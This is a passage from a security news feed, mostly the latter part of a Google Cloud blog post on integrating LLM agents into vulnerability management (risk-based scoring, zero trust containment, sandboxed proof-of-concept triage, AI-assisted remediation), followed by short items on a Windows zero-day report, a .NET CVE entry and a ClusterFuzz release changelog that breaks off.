<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows-Lücke: Hacker düpiert Microsoft mit neuntem Zero-Day-Exploit]]></title>
<description><![CDATA[Der Konflikt zwischen dem 'Sicherheitsforscher' Nightmare Eclipse und Microsoft eskaliert weiter. Kurz nach dem jüngsten Patchday veröffentlichte der Entwickler eine neue Zero-Day-Schwachstelle für Windows, die weitreichende Systemzugriffe ermöglicht.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3673721/it-security-nachrichten/windows-luecke-hacker-duepiert-microsoft-mit-neuntem-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673721/it-security-nachrichten/windows-luecke-hacker-duepiert-microsoft-mit-neuntem-zero-day-exploit/</guid>
<pubDate>Thu, 16 Jul 2026 16:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160026.html"><img hspace="5" border="0" align="left" alt="Fehler, Bug, Error, Bugs bugs bugs, Windows 11 Fehler, Windows 11 Bugs Bugs Bugs, Windows 11 Troubleshoot, Windows 11 Bug" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/52423.jpg"></a>
			Der Konflikt zwischen dem 'Sicherheitsforscher' Nightmare Eclipse und Microsoft eskaliert weiter. Kurz nach dem jüngsten Patchday veröffentlichte der Entwickler eine neue Zero-Day-Schwachstelle für Windows, die weitreichende Systemzugriffe ermöglicht.			(<a href="https://winfuture.de/news,160026.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-50659 | Microsoft NET Encoding encoding error (Nessus ID 327176)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Microsoft NET. The affected element is an unknown function of the component Encoding. The manipulation results in encoding error.

This vulnerability is identified as CVE-2026-50659. The attack can be executed remotely. There is not any exploit ...]]></description>
<link>https://tsecurity.de/de/3673690/sicherheitsluecken/cve-2026-50659-microsoft-net-encoding-encoding-error-nessus-id-327176/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673690/sicherheitsluecken/cve-2026-50659-microsoft-net-encoding-encoding-error-nessus-id-327176/</guid>
<pubDate>Thu, 16 Jul 2026 15:53:50 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/microsoft:net">Microsoft NET</a>. The affected element is an unknown function of the component <em>Encoding</em>. The manipulation results in encoding error.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-50659">CVE-2026-50659</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.0]]></title>
<description><![CDATA[What's Changed

Use clusterfuzz_manifest.json to set ChromeBuildArchive by @notvictorl in #5351
Correct execution permission check 100 -> 0o100 by @notvictorl in #5353
Gracefully shut down Centipede fuzzers by @aakallam in #5358
symbolizer: Add success tests and clean up tests by @g-ortuno in #53...]]></description>
<link>https://tsecurity.de/de/3673598/it-security-tools/v2350/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673598/it-security-tools/v2350/</guid>
<pubDate>Thu, 16 Jul 2026 15:18:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Use clusterfuzz_manifest.json to set ChromeBuildArchive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820359720" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5351" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5351/hovercard" href="https://github.com/google/clusterfuzz/pull/5351">#5351</a></li>
<li>Correct execution permission check <code>100</code> -&gt; <code>0o100</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832159548" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5353" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5353/hovercard" href="https://github.com/google/clusterfuzz/pull/5353">#5353</a></li>
<li>Gracefully shut down Centipede fuzzers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aakallam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aakallam">@aakallam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857968419" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5358" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5358/hovercard" href="https://github.com/google/clusterfuzz/pull/5358">#5358</a></li>
<li>symbolizer: Add success tests and clean up tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876413451" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5359" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5359/hovercard" href="https://github.com/google/clusterfuzz/pull/5359">#5359</a></li>
<li>symbolizer: Stop using llvm-symbolizer if it crashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884968952" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5361" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5361/hovercard" href="https://github.com/google/clusterfuzz/pull/5361">#5361</a></li>
